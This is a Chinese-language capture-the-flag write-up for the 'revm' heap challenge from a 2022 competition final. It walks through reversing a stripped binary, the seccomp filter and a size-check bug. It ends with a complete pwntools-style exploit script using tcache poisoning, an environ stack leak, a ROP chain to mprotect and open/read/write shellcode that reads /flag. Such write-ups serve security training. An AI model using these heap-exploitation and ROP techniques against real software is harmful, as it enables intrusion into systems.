qgb-2022-final-pwn-revm
REVM
总结
这是一道很简单的题目,但是我也学到了很多!(虽然比赛时失误没看到return导致打栈地址失败),收获如下:
-
静态编译没符号可以使用导入sig文件或者bindiff一个对应版本的glibc
-
堆题orw的方法梳理了一遍:
- hook + gadget + rop
- fsop + gadget + rop
- env + rop
-
没符号怎么找_IO_file_plus:gdb内按c然后ctrl + c然后看寄存器
-
但main多分支不一定会进入到__libc_start_main压入的返回地址的时候,要观察main函数内有没有return。只有在调用return才会执行__libc_start_main压入的返回地址(我就是没注意到这一点tmd,可恶)
总的来说这道题很简单,但是呃呃去掉了各种gadget,搞得我以为有啥trick,搜了半天浪费了大量时间(毕竟是无符号),然后打栈返回地址的时候还没调用F分支...以为无法打...但是赛后就马上出了tmd,算了,还是sleep吧!
题目分析
IDA打开就是一坨大便,但是我们可以导入sig修复,虽然...一个关键的函数都没修复好
自己手动改了一些,发现还是看不太懂...但是导入sig后有个非常经典的菜单,如下:
此时不知道怎么搞,直接开调,得到一个正则表达式:
输入符合格式的数据,继续调试,得出以下格式:
#'(\\w):(\\d+):(\\d+):(\\d+)'
#chunk_arr 0x83B840
#A:idx:size:unknow
def add(idx,size,fxxk= 0):
sla('Cmd:','A:' + str(idx) + ':' + str(size) + ':' + str(fxxk))
#B:idx:size1<size:a_bit
def edit(idx,size,cont):
sla('Cmd:','B:' + str(idx) + ':' + str(size) + ':' + str(cont))
#C:idx: show chunk_cont
def show(idx):
sla('Cmd:','C:' + str(idx) + ':' + str(0) + ':0')
#D:idx
def free(idx):
sla('Cmd:','D:' + str(idx) + ':' + str(0) + ':0')
逆向分析
-
关键结构体
本题操作的结构体如下:
typedef struct pwn { void *chunk_prt; unsigned __int64 size; unsigned __int64 key;(不知道有啥用,但是不影响) }fxxk;
-
沙盒
$ seccomp-tools dump ./revm
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0f 0x00 0x40000000 if (A >= 0x40000000) goto 0019
0004: 0x15 0x0d 0x00 0x00000001 if (A == write) goto 0018
0005: 0x15 0x0c 0x00 0x00000000 if (A == read) goto 0018
0006: 0x15 0x0b 0x00 0x00000025 if (A == alarm) goto 0018
0007: 0x15 0x0a 0x00 0x0000000a if (A == mprotect) goto 0018
0008: 0x15 0x09 0x00 0x00000002 if (A == open) goto 0018
0009: 0x15 0x08 0x00 0x000000ca if (A == futex) goto 0018
0010: 0x15 0x07 0x00 0x0000000e if (A == rt_sigprocmask) goto 0018
0011: 0x15 0x06 0x00 0x00000009 if (A == mmap) goto 0018
0012: 0x15 0x05 0x00 0x00000014 if (A == writev) goto 0018
0013: 0x15 0x04 0x00 0x00000101 if (A == openat) goto 0018
0014: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0018
0015: 0x15 0x02 0x00 0x00000003 if (A == close) goto 0018
0016: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0018
0017: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x06 0x00 0x00 0x00000000 return KILL
可以看到orw就可以了
- ADD分支
可以看出逻辑是往对应的结构体数组放入size,然后再malloc一个chunk,然后检查size,若size过大则free这个chunk,若size合适,则放入结构体数组中。
本题的漏洞也出现在这里
我们可以先add一个合适的chunk,然后再add一个非法size的chunk,此时结构体内的chunk指针不变,但是size变大了,可以利用edit来溢出修改了。
- EDIT分支
在比size小的一个偏移处修改一个字节
- SHOW分支
没啥好说的
- DELETE分支
没有uaf
漏洞利用
首先看heap是个难题,我使用观察结构体数组的方式查看heap
tele 0x83B840
#chunk_arr 0x83B840
因为开了沙盒优先考虑打栈迁移,有以下思路:
__free_hook + setcontext + 53__free_hook + svcudp_reply+26FSOPhouse of applp2栈迁移
(遗憾的是以上思路亲测无效,而且浪费我大量时间)
- 打栈地址(正解)
然后通过bindiff一顿search -p 找到以下关键地址:
0x839560、0x839780: fp_stderr 与 fp_stdin:
0x50d3ba:exit刷新流的操作的关键步骤,断在这里按几次c可以看刷新流
0x83af58:_IO_wfile_vtable
0x8434F8:free_hook
0x568740:mprotect
0x844ba0:env
但是hook打不了,因为是C++,亲测在修改完一个字节后程序会dump(因为用了free),所以我打算打栈地址
详细见EXP
EXP
#!/usr/bin/env python3
'''
Author: 7resp4ss
Date: 2022-12-24 11:01:53
LastEditTime: 2022-12-25 17:39:43
Description:
'''
from pwncli import *
from struct import pack
cli_script()
io = gift["io"]
elf = gift["elf"]
libc = ELF("./libc-2.27.so")
filename = gift.filename # current filename
is_debug = gift.debug # is debug or not
is_remote = gift.remote # is remote or not
gdb_pid = gift.gdb_pid # gdb pid if debug
#'(\\w):(\\d+):(\\d+):(\\d+)'
#chunk_arr 0x83B840
#A:idx:size:unknow
def add(idx,size,fxxk= 0):
sla('Cmd:','A:' + str(idx) + ':' + str(size) + ':' + str(fxxk))
#B:idx:size1<size:a_bit
def edit(idx,size,cont):
sla('Cmd:','B:' + str(idx) + ':' + str(size) + ':' + str(cont))
#C:idx: show chunk_cont
def show(idx):
sla('Cmd:','C:' + str(idx) + ':' + str(0) + ':0')
#D:idx
def free(idx):
sla('Cmd:','D:' + str(idx) + ':' + str(0) + ':0')
#_IO_list_all = p64(0x83be20)
_IO_2_1_stderr_ = p64(0x839560)
mpt = 0x568740
#chunk_arr 0x83B840
#malloc b 0x405B3D
#edit 0x405AD5
#free 0x405A4C
#env 0x844ba0
env = p64(0x844ba0)
add(0,0x250)
add(1,0x250)
add(2,0x250)
add(3,0x250)
add(4,0x250)
free(2)
free(1)
add(0,0x1000)
for i in range(4):
edit(0,0x250 + 0x10 + i,u64_ex(env[i:i+1]))
add(1,0x250)
add(2,0x250) #env
show(2)
leak_stack = recv_current_libc_addr()
log_address_ex2(leak_stack)
targe_stack = leak_stack - 0x120
log_address_ex2(targe_stack)
mpro_stack = targe_stack&~(0xfff)
free(3)
free(1)
targe_stack = p64(targe_stack)
for i in range(len(targe_stack)):
edit(0,0x250 + 0x10 + i,u64_ex(targe_stack[i:i+1]))
add(1,0x250)
add(3,0x250) #targe_stack
'''
0x000000000040564f : pop rax ; ret
0x0000000000405fe6 : pop rdi ; ret
0x00000000004edea9 : pop rdx ; pop rsi ; ret
0x00000000004ede83 : pop rcx ; ret
#define __NR_mprotect 10
0x0000000000425cbf : syscall
► 0x405650 ret <0x405fe6>
'''
pd = flat(
{
0x0:
[
0x0000000000405fe6,
mpro_stack,
0x00000000004edea9,
7,
0x9000,
mpt,
u64_ex(targe_stack)+0x100,
],
0x100:[
asm(shellcraft.amd64.open('/flag')),
asm(shellcraft.amd64.read(3,u64_ex(targe_stack)+0x200,0x100)),
asm(shellcraft.amd64.write(1,u64_ex(targe_stack)+0x200,0x100))
]
}
)
for i in range(len(pd)):
edit(3,0x0+i,u64_ex(pd[i:i+1]))
sl('F:0:0:0')
io.interactive()